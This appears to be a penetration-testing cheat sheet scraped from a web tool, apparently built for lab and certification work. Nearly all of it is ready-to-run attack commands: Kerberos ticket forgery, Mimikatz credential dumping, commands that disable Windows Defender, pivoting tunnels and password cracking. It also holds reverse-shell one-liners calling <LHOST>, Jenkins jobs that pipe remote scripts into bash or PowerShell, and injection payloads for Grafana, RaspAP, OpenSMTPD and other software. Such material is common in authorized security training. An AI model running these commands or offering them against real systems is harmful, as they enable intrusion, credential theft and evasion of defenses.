# Stop auto time sync, then sync to DC sudo systemctl stop systemd-timesyncd sudo systemctl disable systemd-timesyncd sudo rdate -u <DC_IP> # Reset when done: sudo ntpdate -r pool.ntp.org
Overpass-the-Hash
# NTLM hash → get Kerberos TGT (no password needed) sekurlsa::pth /user:jen /domain:<DOMAIN> /ntlm:<NTHASH> /run:PowerShell.exe # In new window: klist net use \\dc1\c$
Pass-the-Ticket
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi klist
Golden Tickets
# Requires krbtgt hash (DA or DC compromise) kerberos::purge kerberos::golden /user:jen /domain:<DOMAIN> /sid:S-1-5-21-... /krbtgt:HASH /ptt misc::cmd PsExec.exe \\dc1 cmd.exe
Silver Tickets
# Requires service account hash kerberos::golden /sid:S-1-5-21-... /domain:<DOMAIN> /ptt /target:web04.<DOMAIN> /service:http /rc4:HASH /user:jeffadmin iwr -UseDefaultCredentials http://web04
Kerberos Auth (Linux)
getTGT.py <DOMAIN>/'<USER>':'<PASS>' export KRB5CCNAME=$(pwd)/<USER>.ccache # Most tools: add -k flag
NTDS Extraction (Shadow Copy)
vshadow.exe -nw -p C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak reg.exe save hklm\system c:\system.bak secretsdump.py -ntds ntds.dit.bak -system system.bak LOCAL
Domain Trust Exploitation (Child → Parent)
# Forge inter-realm ticket with extra SID ticketer.py -aesKey 'KEY' -domain-sid 'CHILD_SID' -domain 'child.parent.com' -extra-sid 'PARENT_SID-519' 'Administrator' -extra-pac export KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass parent.com/Administrator@DC01.parent.com
Mimikatz
.\mimikatz.exe "privilege::debug" "token::elevate" "log" "lsadump::sam /patch" "lsadump::sam" "sekurlsa::msv" "lsadump::secrets" "lsadump::lsa" "lsadump::lsa /patch" "lsadump::cache" "sekurlsa::logonpasswords full" "sekurlsa::ekeys" "sekurlsa::dpapi" "sekurlsa::credman" "vault::list" "vault::cred /patch" "exit"
Secretsdump
secretsdump.py <DOMAIN>/<USER>:<PASS>@<IP>
LaZagne
./lazagne.exe all
Disable Firewall & Defender
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False Set-MpPreference -DisableRealtimeMonitoring $true
Locations
- Credentials:
AppData/Local/Microsoft/Credentials/ - Master Keys:
AppData/Roaming/Microsoft/Protect/S-1-5-21-.../ - Vault:
AppData/Local/Microsoft/Vault/
Decrypt Master Key
dpapi.py masterkey -file MASTERKEYFILE -sid SID -password '<PASS>'
Linux
seq 1 254 | xargs -P 50 -I{} bash -c 'ping -c1 -W1 192.168.0.{} >/dev/null 2>&1 && echo "192.168.0.{} is up"'
for i in 6 7 14 15 19 20 21 30; do ping -c1 -W1 172.16.121.$i >/dev/null 2>&1 && echo "172.16.121.$i is up"; doneWindows (PowerShell)
1..254 | % { if (Test-Connection -Count 1 -Quiet 172.16.16.$_) { "172.16.16.$_ is up" } }Windows (CMD)
for /L %i in (1,1,254) do @ping -n 1 -w 35 192.168.0.%i | find "Reply"
Linux (common ports)
printf "%s\n" 25 465 587 110 995 143 993 22 80 443 445 3389 | xargs -P20 -I{} sh -c 'nc -z -w1 <IP> {} 2>/dev/null && echo "Port {} open"'Linux (1-5000)
seq 1 5000 | xargs -P500 -I{} sh -c 'nc -z -w1 <IP> {} 2>/dev/null && echo "Port {} open"'Windows (PowerShell 7)
$target="<IP>"; 25,465,587,110,995,143,993,22,80,443,445,3389 | ForEach-Object -Parallel { if (Test-NetConnection -ComputerName $using:target -Port $_ -InformationLevel Quiet) { "Port $_ open" } } -ThrottleLimit 20Firewall Egress (find allowed outbound ports)
# On attacker: sudo bash -c 'for p in $(seq 1 3000); do nc -lvnp $p >/dev/null 2>&1 & done'
# On target (Linux): seq 1 3000 | xargs -P 100 -I{} bash -c 'timeout 1 nc -zvw1 <LHOST> {} >/dev/null 2>&1 && echo "Port {} allowed"'
# Cleanup: sudo pkill -f "nc -lvnp"Windows
ipconfig /all route print arp -a netstat -ano type C:\WINDOWS\System32\drivers\etc\hosts
Linux
ip addr ip -br a ip r
Docker (find networks)
cat /proc/net/fib_trie
| Situation | Tool | Why |
|---|---|---|
| SSH + full subnet | sshuttle | VPN-like routing |
| SSH + single port | SSH -L | Built-in, no extra tools |
| SSH + multiple ports | SSH -D | SOCKS proxy for any tool |
| Reverse shell / file upload | Ligolo-ng | Full routing + magic routes |
| Only DNS (53) outbound | dnscat2 | Tunnels over DNS |
| Reverse shell + simple forward | Chisel | Lightweight |
ssh -N -L [BIND]:[LOCAL_PORT]:[TARGET_IP]:[TARGET_PORT] user@pivot # Example: access DB on pivot's network ssh -N -L 4242:172.16.145.217:5432 user@pivot psql -h 127.0.0.1 -p 4242 -U postgres # Access localhost on pivot ssh -N -L 5000:127.0.0.1:4242 user@pivot # Background: ssh -fNL 4242:172.16.145.217:4242 user@pivot
# On pivot: ssh -N -D 0.0.0.0:9999 user@attacker # Proxychains: socks5 <PIVOT_IP> 9999 proxychains nmap -sT -Pn 172.16.145.217 proxychains smbclient -L //172.16.145.217/ -U 'user%pass' # If smbclient is Impacket: proxychains impacket-smbclient 'user:pass'@172.16.145.217
# On Kali: sudo systemctl start ssh # On pivot: ssh -N -R [BIND]:[REMOTE_PORT]:[TARGET]:[PORT] user@attacker # Exposes target's port on your Kali
# On pivot: ssh -N -R 9998 user@attacker # Proxychains: socks5 127.0.0.1 9998 proxychains nmap -p20 -Pn 10.4.145.64
# /etc/proxychains4.conf - add: socks5 127.0.0.1 9050 # or socks5 <PIVOT_IP> 9999 proxychains nmap -sT -Pn <IP> proxychains nxc smb <IP> -u <USER> -p '<PASS>' # Always -sT with nmap, add -Pn to skip ping
sshuttle -r user@pivot 0.0.0.0/0 sshuttle -r user@pivot 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 # Cannot access 127.0.0.1 on pivot
Initial Setup (once)
sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up
Attacker & Target
# Attacker
./proxy -selfcert -laddr $(ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'):443
# Target (Linux)
wget http://<LHOST>/agent && chmod +x agent
./agent -connect <LHOST>:443 -ignore-cert &
# Target (Windows)
iwr -uri http://<LHOST>/agent.exe -Outfile agent.exe
.\agent.exe -connect <LHOST>:443 -ignore-cert
# Run in background (PowerShell)
Start-Process ".\agent.exe" -ArgumentList "-connect <LHOST>:443 -ignore-cert"Magic Routes (target localhost)
interface_create --name agent1 route_add --name agent1 --route 240.0.0.1/32 session autoroute # Access: xfreerdp /v:240.0.0.1:3389
Network Routing
interface_create --name interface1 route_add --name interface1 --route 10.4.145.0/24 session autoroute sudo ip link set interface1 up
Listener (Chained Pivoting)
listener_add --addr 10.10.198.147:8080 --to <LHOST>:80 listener_add --addr <IP>:443 --to <LHOST>:443
Reverse Tunnel
# Server on Victim ./chisel server --reverse --port 9999 # Client on Attacker ./chisel client victim-ip:9999 R:8080:127.0.0.1:8080
Forward Tunnel
# Server on Attacker ./chisel server --port 8000 # Client on Victim ./chisel client attacker-ip:8000 8080:internal-host:80
SOCKS Proxy
./chisel client victim-ip:9999 R:socks # proxychains: socks5 127.0.0.1 1080
# Server: dnscat2-server feline.corp # Client: ./dnscat feline.corp # In session: listen 127.0.0.1:4455 172.16.145.217:4455 # Use when only DNS (port 53) allowed outbound
Command Generator
hashcat -m 0 hash.txt <WORDLIST> --force
Rule File Generator
Sample password + rules → preview. Build custom .rule files for hashcat.
Commands
hashcat -m 0 hash.txt <WORDLIST> --force hashcat -m 1000 hash.txt <WORDLIST> -r /usr/share/hashcat/rules/best66.rule --force
Hash Conversion
ssh2john id_rsa > ssh.hash keepass2john Database.kdbx > keepass.hash zip2john archive.zip > zip.hash zip2john archive.zip -o <filename> > zip.hash sed -i 's/^[^:]*://' ssh.hash
Encrypted zip (only some files encrypted)
# Which files are encrypted zipinfo -v archive.zip | grep "file security status" # One encrypted file zip2john archive.zip -o <encrypted_filename> > zip.hash john --wordlist=<WORDLIST> zip.hash # Multiple encrypted files: extract each hash then crack # (or use the Python script below to build hashes.txt)
# List encrypted files and dump all hashes to hashes.txt
import subprocess
files = []
f = None
for l in subprocess.run(['zipinfo', '-v', 'archive.zip'], capture_output=True, text=True).stdout.splitlines():
if l.startswith(' ') and not l.startswith(' ') and not any(k in l for k in ['offset', 'system', 'version', 'compress', 'security', 'extend', 'is ', 'bytes']):
f = l.strip()
elif f and 'security status:' in l and 'encrypted' in l:
files.append(f); print(f); f = None
open('hashes.txt', 'w').close()
for fname in files:
r = subprocess.run(['zip2john', 'archive.zip', '-o', fname], capture_output=True, text=True)
if r.stdout:
open('hashes.txt', 'a').write(r.stdout)
# john hashes.txt --wordlist=rockyou.txtCracking
john --wordlist=<WORDLIST> hash.txt john --show hash.txt
hydra -l admin -P rockyou.txt <IP> ssh -f -t 16
Pass-the-Hash
psexec.py -hashes :<NTHASH> Administrator@<IP> wmiexec.py -hashes :<NTHASH> Administrator@<IP> impacket-smbclient -hashes :<NTHASH> Administrator@<IP>
Secretsdump
secretsdump.py -sam sam.hive -system system.hive LOCAL secretsdump.py -ntds ntds.dit -system system.hive LOCAL
NTLM Relay
ntlmrelayx.py --no-http-server -smb2support -t <IP> -c "powershell -e BASE64"
Command Generator
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=443 -f exe -o shell.exe
Host (Linux)
python3 -m http.server 80 sudo python3 -m uploadserver 80
Upload to uploadserver (from target)
# Linux target curl -F "file=@/path/to/local.txt" http://<LHOST>:80/ # Windows target curl.exe -F "file=@file" http://<LHOST>:80/
Download to Windows (from host)
iwr -uri http://<LHOST>/file -Outfile file powershell -Command "Invoke-WebRequest -Uri 'http://<LHOST>/file' -OutFile 'file'" certutil -urlcache -split -f http://<LHOST>/file C:\Users\Public\file
Download to Linux (from host)
wget http://<LHOST>/file -O /tmp/file curl -o /tmp/file http://<LHOST>/file
Receive from target (nc)
# On receiver (Kali) nc -lvnp 4444 > received_file # On sender (target) nc <LHOST> 4444 < file_to_send
SCP
# Get from remote scp user@<IP>:/remotepath localPath # Send to remote scp FileToSend user@<IP>:remotePath # With key scp -i SSHkeyFile user@<IP>:remotePath localPath # Force password auth (no pubkey) scp -o PreferredAuthentications=password -o PubkeyAuthentication=no "user@<IP>:remotePath" localPath
SMB Server (Windows to Kali)
# Kali impacket-smbserver -smb2support sharename . # Windows target copy file \\<LHOST>\sharename
Upload from Windows (to host)
# Uploadserver (root)
curl.exe -F "file=@file" http://<LHOST>:80/
# Generic upload endpoint
$form = @{ files = Get-Item "file" }
Invoke-WebRequest -Uri http://<LHOST>/upload -Method Post -Form $form
curl.exe -F "files=@file" http://<LHOST>/uploadGenerate a wordlist of reverse shell payloads (one per line) to try in order until one works. Use with Burp Intruder, script, or manual paste. Sources: revshells.com, PentestMonkey, PayloadsAllTheThings.
RevShells.com (embedded)
Bash
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'
Netcat
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f
Windows
nc.exe <LHOST> <LPORT> -e cmd.exe powershell -e BASE64_SHELL
Listener
rlwrap -cAr nc -lvnp <LPORT> sudo /home/sway/.local/bin/penelope -O -p 443
Upgrade to TTY
script /dev/null -qc /bin/bash
python3 -c 'import pty; pty.spawn("/bin/bash")'Linux (find)
find /path -name "filename" # exact name
find /path -iname "*.txt" # case-insensitive, glob
find /path -type f -name "*.conf" # files only
find /path -type d -name "config" # directories only
find /path -mmin -60 # modified in last 60 min
find /path -size +10M # larger than 10MB
find /path -user root # owned by user
find /path -iname "*.txt" -exec cat {} \; # run command on eachPowerShell
Get-ChildItem -Path C:\ -Recurse -Filter "*.txt" -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Recurse -Include "*.config","*.env" -File
Get-ChildItem -Path C:\ -Recurse -Include "*.txt" | Where-Object { $_.LastWriteTime -gt (Get-Date).AddHours(-1) }CMD (dir)
dir /s /b C:\path\*.txt
less -R so ANSI colors render.iconv -f UTF-16LE -t UTF-8 winpeas_andrea.txt | less -R
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1nc + file
# Save raw data from non-standard port nc <IP> <PORT> > output # Identify file type file output # Rename and extract (e.g. zip) mv output output.zip unzip output.zip
Upload path traversal → authorized_keys
# If upload endpoint lets you set path/filename → write to /home/<user>/.ssh/authorized_keys (body = your pubkey) curl -X POST http://<IP>:<PORT>/upload -F "file=@id_rsa.pub" -F "filename=/home/<user>/.ssh/authorized_keys" ssh -i id_rsa <user>@<IP> -p <SSH_PORT>
General
tshark -r FILE -q -z io,phs tshark -r FILE -T fields -e field1 -e field2
HTTP (POST logins)
tshark -r FILE -Y "http.request.method == POST" -T fields -e urlencoded-form.key -e urlencoded-form.value
LDAP
tshark -r FILE -Y "ldap" -T fields -e ldap.name tshark -r FILE -Y ldap -T fields -e ldap.name -e ldap.simple
WiFi
tshark -r FILE -T fields -e wlan.sa -e wlan.da -e wlan.bssid -e wlan.ssid tshark -r FILE -Y "eapol" tshark -r FILE -Y "wlan.fc.type == 2" -T fields -e wlan.sa -e wlan.da tshark -r FILE -Y "wlan.fc.type==0 && wlan.fc.subtype==8" -T fields -e wlan.sa -e wlan.ssid
WordPress
Enum – Vuln Plugins & Themes
wpscan --url <URL> --enumerate vp,vt wpscan --url <URL> --enumerate vp,vt --plugins-detection aggressive
Enumerate Users
wpscan --url <URL> --enumerate u
Bruteforce
# Full (enumerated users + wordlist) wpscan --url <URL> --passwords <WORDLIST> # Pass only (known user) wpscan --url <URL> -U admin -P <WORDLIST>
Config & Exploit
# Config (LFI / creds): wp-config.php
# Plugin RCE: upload plugin or edit existing one
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'") ?>
# Zip upload bypass: if PHP blocked but zip allowed, put shell.php in zip, upload; often extracted to wp-content/... and executable
searchsploit wordpressJenkins (port 8080)
Port check (from Windows PS)
8080 | % { echo ((New-Object Net.Sockets.TcpClient).Connect("<IP>",$_)) "Port $_ is open!" } 2>$null
# Or from Kali: nmap -p 8080 <IP> ; curl -sI http://<IP>:8080Default creds & brute force
# Defaults: admin/admin, jenkins/jenkins # Password spray (PowerShell, from 0x4rt3mis): requires Invoke-JenkinsPasswordSpray script Invoke-JenkinsPasswordSpray -URL http://<IP>:8080 -UsernameFile .\users.txt -PasswordFile .\10k-worst-passwords.txt -ContinueOnSuccess $true -Force -Outfile .\sprayed-jenkins.txt # Hydra (from Kali) hydra -L users.txt -P pass.txt <IP> http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F:Invalid" -f
RCE – New Job (Execute shell)
# After login: New Item → name → Freestyle → Build → "Execute shell" (Linux) or "Execute Windows batch" (Windows) # Linux: curl -sS http://<LHOST>/shell.sh | bash # Windows: powershell -c "IEX(iwr http://<LHOST>/s.ps1 -usebasicparsing)" # Save, then "Build Now". Listener on <LHOST>:<LPORT>
RCE – Script Console (Groovy reverse shell)
cmd="/bin/bash" and adjust ProcessBuilder.# Windows (cmd.exe) – set host to <LHOST>, port to <LPORT>
String host="<LHOST>";
int port=<LPORT>;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break;}catch(Exception e){}}
p.destroy();s.close();Reverse shell via Job (Nishang + powercat)
# Attacker: host Invoke-PowerShellTCP.ps1 (add call at end), powercat listener powercat -l -v -p 443 -t 1000 # In Jenkins Job: "Execute Windows batch": powershell -c "IEX(iwr http://<LHOST>/Invoke-PowerShellTCP.ps1 -usebasicparsing)" # Or use your usual PS one-liner in the Job. Then Build Now.
Joomla
curl -s http://<IP>/administrator/manifests/files/joomla.xml | grep version # Config (if file read): /var/www/html/configuration.php # CVE-2017-8917: 3.7.0 SQLi - searchsploit joomla
Webmin (10000)
nmap -p 10000 -sV <IP> # After login: Others → Command Shell. Defaults: root:password, admin:admin searchsploit webmin
Grafana CVE-2021-43798 (8.0–8.3)
curl --path-as-is http://<IP>:3000/public/plugins/alertlist/../../../../../../../../etc/passwd curl --path-as-is http://<IP>:3000/public/plugins/alertlist/../../../../../../../var/lib/grafana/grafana.db -o grafana.db
JDWP (Java debug, often 8000)
searchsploit -m 46501 python2 46501.py -t <IP> -p 8000 --break-on "java.net.ServerSocket.accept" --cmd 'chmod u+s /bin/bash' # Trigger: nc <IP> APP_PORT. Then /bin/bash -p
Apache Commons Text (CVE-2022-42889, 1.5–1.9)
${script:javascript:java.lang.Runtime.getRuntime().exec('id')}
# searchsploit 52261 for full RCERoundcube
# Config: /var/www/html/roundcube/config/config.inc.php # Session decrypt: DES3, key from config.inc.php (rcmail-!24ByteDESkey*Str)
PuTTY
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions # Per session: HostName, UserName (plaintext), PortNumber
XAMPP – Juicy files
# Windows type C:\xampp\phpMyAdmin\config.inc.php type C:\xampp\FileZillaFTP\FileZilla Server.xml # Linux: /opt/lampp/phpmyadmin/config.inc.php
FileZilla Server.xml (optional)
NPBackup
npbackup-cli -s -c conf.conf npbackup-cli -c conf.conf --dump /root/root.txt
RaspAP 2.6.6 – RCE (authenticated)
# /wpa_conf: command injection in "connect" (CSRF token from page meta)
# POST connect=wlan; python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# E.g. exec-raspap.py <TARGET> <PORT> <USER> <PASS> <LHOST> <LPORT>
searchsploit raspapSmarterMail CVE-2019-7214 (build < 6985)
# Port 17001 – .NET remoting deserialization RCE # EDB 49216: python script, replace HOST/PORT/LHOST/LPORT and run searchsploit smartermail
OpenSMTPD CVE-2020-7247 (< 6.6.2)
# Port 25, no auth. RCE via MAIL FROM command injection: MAIL FROM:<;id;> then RCPT TO:<root>, DATA, QUIT # EDB 47984: python <TARGET> 25 '<CMD>' (e.g. reverse shell in CMD) searchsploit opensmtpd
Sendmail + clamav-milter CVE-2007-4560 (< 0.91.2)
# Port 25. RCPT TO pipe injection: nobody+"|cmd"@localhost → e.g. write to /etc/inetd.conf, restart inetd → nc <IP> <PORT> # EDB 4761 (Perl), Python ports available searchsploit sendmail clamav
CVE-2009-3103 (MS09-050) SMBv2 RCE
# SMBv2 negotiate vulnerability. Metasploit: exploit/windows/smb/ms09_050_smb2_negotiate_func_index searchsploit 2009-3103
HP Power Manager (formExportDataLogs)
# Buffer overflow in formExportDataLogs. Metasploit: exploit/windows/http/hp_power_manager_filename searchsploit hp power manager
CS-Cart 1.3.x (LFI + auth RCE)
# Version: ?version or index.php?version # LFI (unauth): .../classes/phpmailer/class.cs_phpmailer.php?classes_dir=/etc/passwd%00 # php://filter read: ?classes_dir=php://filter/convert.base64-encode/resource=../../config.php%00 # Auth RCE: login admin, upload reverse shell in file manager, change extension to .phtml, visit /skins/shell.phtml searchsploit cs-cart
rpc.py CVE-2022-35411 (0.4.2–0.6.0)
# Often internal (e.g. 65432). Tunnel then POST /sayhi with header serializer: pickle, body = pickle payload (os.system). EDB 50983 searchsploit rpc.py
ZoneMinder 1.29/1.30
# /zm/ – SQLi (limit param, stacked). INTO OUTFILE webshell to web root, then ?cmd= # EDB 41239 searchsploit zoneminder
Exhibitor (ZooKeeper UI)
# e.g. :8080/exhibitor/v1/ui/ – command injection in UI: $(/bin/nc -e /bin/sh <LHOST> <LPORT> &)
Schlix CMS 2.2.6-6 (auth RCE)
# /admin/app/core.blockmanager – upload zip extension with PHP in packageinfo.inc (e.g. mailchimp), install to category, click About → RCE. EDB 49838 searchsploit schlix
SimplePHPGal (RFI → RCE)
# image.php?img=http://<LHOST>/rev.php&cmd= or ?i= – fetches and executes. Host rev.php, trigger. EDB 48424 searchsploit simplephpgal
Squid proxy (internal discovery)
# Scan internal ports via proxy: e.g. spose.py --proxy http://<IP>:3128/ --target <IP>. Add proxy in browser (FoxyProxy), access internal :8080 etc. # phpMyAdmin behind proxy: try default root:vide. INTO OUTFILE uploader.php then upload shell.
Other
| App | Note |
|---|---|
| Slack | Exported data: ~/.config/Slack |
| VestaCP, FreeSWitch, IIS | Check version → searchsploit / CVE |
No favorites yet. Click the star (★) on any section or subsection to add it here.